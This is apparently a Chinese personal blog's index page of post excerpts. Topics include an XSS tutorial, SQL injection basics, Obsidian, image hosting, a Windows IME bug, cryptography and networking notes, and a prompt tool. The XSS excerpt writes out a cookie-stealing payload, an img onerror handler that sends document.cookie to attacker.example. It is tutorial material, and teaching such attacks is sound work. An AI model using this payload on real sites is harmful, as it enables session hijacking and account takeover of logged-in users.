just.ok的个人博客

站点搜索页的回显长这样：URL 是 https://example.com/search?q=键盘，页面显示「您搜索的是：键盘」。搜索词进了页面，这是一个注入点。 把参数换成一段 HTML： 1https://example.com/search?q=<img src=x onerror=alert(1)> 页面不再显示这段文字，而是弹出一个对话框。输入被原样输出成了标签：<img> 的 src=x 加载失败，触发 onerror 里的 alert(1)，浏览器把它当代码执行了。 再把 alert(1) 换成把 Cookie 发往外部服务器的脚本： 1<img src=x onerror="new Image().src='//attacker.example/log?c='+document.cookie"> 这一次没有任何可见动静——访问这个链接的已登录用户，其 Cookie 已被发往攻击者的服务器。攻击者拿着 Cookie 就能以该用户身份登录：不需要密码，不需要服务器任何权限。 这两步就是 XSS...

如果你也经历过这些：在 Notion 里精心搭了一堆数据库，半年后自己都找不到东西；换笔记软件时发现导出全是乱码；某天服务挂了，几年的记录打不开——那 Obsidian 值得看下去。 它的核心卖点只有一句话：库就是你硬盘上的一个文件夹，里面全是纯文本 .md。这句话决定了它其余全部特性：离线可用、不被锁定、任何编辑器都能打开。 本文功能与价格信息核对到 Obsidian 1.14.4（2026-10-05 公开发布）。版本迭代较快，具体以官方更新日志为准。 本地优先到底意味着什么市面上笔记软件的分歧，本质是数据放谁家。Obsidian 选了另一条路，并且靠”不卖数据”来证明自己： 离线可用：没网照样写，不转圈 不锁数据：就算哪天 Obsidian 公司消失，笔记一个不丢 不上报遥测：官方声明不做用户数据买卖 商业模式透明：靠 Sync / Publish 这类可选服务赚钱，而不是卖注意力 它真正的差异化能力只有三个，其他软件要么没有，要么实现方式不同： 能力 Obsidian 的做法 竞品通常怎么做 双向链接 输入 [[ 链接另一篇，被链接方自动记录”谁引用...

SQL注入的原理SQL注入的漏洞产生必须满足以下两个条件 参数用户可控：前端传给后端的参数内容是用户可以控制的。 参数代入数据库查询：传入的参数拼接到SQL语句，并且代入到数据库查询。 本篇中的数据库环境以MySQL为例。 MySQL的相关知识点在MySQL5.0之后，MySQL中默认添加了一个名为information_schema的数据库，该数据库中的表都是只读的，不能进行更新、删除和插入等操作，也不能加载触发器，因为它们实际只是一个视图，不是基本表，没有关联的文件。 information_schema数据库中三个很重要的表： information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名 information_schema.tables： 该数据表存储了mysql数据库中的所有数据表的表名 information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名 mysql中注释符：# 、/**/ 、 -- mysql中常用的函数： version()：查询数据库的版本user()：...

在数字化时代，图片已成为我们日常沟通和表达的主要方式。无论是社交媒体、博客还是论坛，图片都是不可或缺的元素。然而，随着图片数量的不断增加，如何高效地存储和分享图片成为了一个难题。这时候，图床应运而生，成为解决这一问题的利器。 图床什么是图床图床，顾名思义，就是存储图片的“床”。它是一种提供在线图片存储服务的工具，允许用户上传、存储和分享图片。通过图床，用户可以将图片上传到云端，然后获得一个链接，可以在任何地方分享这个链接，而不需要担心图片的存储和带宽问题。 图床搭建的多种方案 GitHub + jsDelivr CDN + PicGo 原理：利用 GitHub 的仓库（Repository）存储图件，通过 jsDelivr（全球公共 CDN）加速访问，使PicGo 作为客户端自动上传。 优点：完全免费、无需维护 缺点： jsDelivr DNS易被污染；Github服务器位于国外，直接访问速度较慢 阿里云 OSS + PicGo 原理：使用对象存储服务（OSS），直接将图片上传至服务商的服务器。 优点：国内访问速度快，稳定性极高。 缺点：如果流量大，费用会迅速上涨；OSS...

问题描述最近突然遇到一个输入法问题，输入法首字母变成英文/首字母打不出汉字/首击键不被认定为拼音，间接导致使用vscode的时候会报crush错误。 之前微软有方案是使用微软拼音输入法并切换至 win10 样式，但是这样并为有成效。一些用户也可能出现默认输入法是正常的，但是第三方输入法（比如搜狗拼音输入法）是存在这个问题的。 问退复现在切换窗口（且两个窗口的中英文模式）或输入框时，接下来有大概率出现这个问题。同一输入框内先复制再粘贴文本，接下来在此输入框内 100% 复现。 解决方案微软声明已经于 Windows 11 Beta —— Build 26120.5742（KB5064075）中修复了该问题。(实际情况有待考察) 方案一操作较为简单，适合大多数人。方案二更加有效，但有一定操作风险。 方案一：先开启一次触摸键盘（注意不是屏幕键盘） 使用 Win + i 打开设置界面。 转到触摸键盘选项。 在设置中打开任务栏上的触摸键盘图标显示，并在任务栏上打开。 之后这个问题就消失了。 弊端 重启后就会失效，需要再执行一遍这个步骤。有用户使用的是搜狗输入法，再执行这个方案后，搜狗输入法...

第一讲 密码学基础 密码学的思想： 扩散(Diffusion) 与混淆(Confusion) 第二讲 私钥加密技术 线性反馈移位寄存器LFSR Feistel网络 DES概述 AES算法 SM4算法 分组密码的工作模式 第三讲 公钥加密技术 单向函数 陷门单向函数 背包密码体制 RSA加密 Rabin加密 ElGamal加密 Paillier加密体制 ECC加密 安全形式化定义 混合加密 第四讲 哈希函数 哈希函数 哈希函数的安全性 MD5算法 SHA-1算法 SM...

第一章 概述计算机网络在信息时代中的作用21世纪具有数字化、网络化、信息化特征 Internet（互联网）：全球最大、最重要的计算机网络 互联网的2个重要基本特点 连通性 资源共享 是Internet提供许多服务的基础 互联网概述计算机网络 由若干节点(node)和连接这些节点的链路(link)组成。 节点可以是计算机、集线器、交换机或路由器等。 互联网基础结构发展的三个阶段 互联网的标准化过程 互联网的组成 边缘部分：由所有连接在互联网上的主机组成，由用户直接使用，用来进行通信（传送数据、音频或视频）和资源共享。 核心部分：由大量网络和连接这些网络的路由器组成，为边缘部分提供服务（提供连通性和交换）。 处在互联网边缘部分的就是连接在互联网上的所有的主机。这些主机又称为端系统 (end system)。 “计算机之间通信”的含义实际上是指：主机A的某个进程和主机B上的另一个进程进行通信。 端系统之间的两种通信方式 客户/服务器方式（Client/Server方式） 描述的是进程之间 服务和被服务的关系。 对等方式（Peer to Peer方式） 两台主机在通信时不区分服务...

第一章 大数据安全的概念本书从五个特征来定义大数据，这五个特征可以总结为五个V,即 Volume、Velocity、 Variety、Veracity 和 Value（大规模、高速性、多样性、准确性和价值） 大数据安全的两重含义 大数据服务中的安全问题 大数据服务中的安全问题，主要包括以下几个方面的内容： 大数据服务系统架构与认证授权问题 利用大数据服务的系统漏洞，攻击大数据服务系统 利用大数据服务的算法缺陷或者训练数据管理的漏洞，注入攻击数据 利用大数据服务的合法功能，发起攻击 利用大数据服务系统的合法功能，获取隐私信息 大数据技术在安全领域的应用 一方面可以利用大数据技术解决安全问题。例如，利用流量特征，识别攻击流量；利用大数据技术，分析微博、微信等社交数据，预测突发事件的走向，及时制定并动态调整；利用大数据技术，引导网络舆情的走向，防止事态恶化。这些技术已经被深入研究并广泛使用。 另一方面，攻击者基于大数据技术开发新的攻击技术。例如，利用 AI对验证码进行 破译;利用关联分析，获取隐私信息。这些案例在现实中已经发生。 隐私的含义 1890 年，布兰代斯与他的同学沃...

一个庆祝2026年新年祝福动画页面，结合了视觉效果、倒计时和个性化问候功能。🔗预览🔗Github仓库 项目简介Midnight Leap 2026 是一个现代化的React应用，使用TypeScript和Vite构建，具有以下特色功能： 🎉 精美的烟花动画效果 ⏰ 实时新年倒计时 ✨ 个性化问候功能 🎨 响应式设计，适配各种设备 🌟 使用GSAP和Tailwind CSS实现的流畅动画 预览 技术栈 React 19 TypeScript Vite 7 Tailwind CSS GSAP (GreenSock Animation Platform) Canvas Confetti (烟花效果)

兄弟们，别再手搓 Prompt 了！ 作为一名天天跟 LLM 结对编程的开发者，大家肯定都有过这种“崩溃时刻”：你脑子里有个绝妙的架构，反手给 GPT-4 敲了一行字，结果它吐出来一堆没法用的 Hello World 级别的垃圾代码。为什么？因为 Garbage In, Garbage Out (GIGO)。 我们都知道，要想让 AI 输出生产级 (Production-ready) 的代码，你需要写 Context、定义 Role、设置 Constraints、还要给 Few-shot examples……写完这些，我代码早就自己撸完了！🤬 直到我遇到了 Lyra。 说实话，刚开始以为又是个套壳的 Prompt 生成器，结果试了一次我就真香了。这玩意儿简直是对传统 Prompt Engineering 的降维打击！它不是在帮你“润色”文字，它是在重构你的思维逻辑。 💡 为什么 Lyra 是开发者的“外挂”？Lyra 不仅仅是一个工具，它内置了一套名为 “4-D Methodology” 的核心算法： Deconstruct (解构): 把你那句模糊的需求拆解，提取核心意...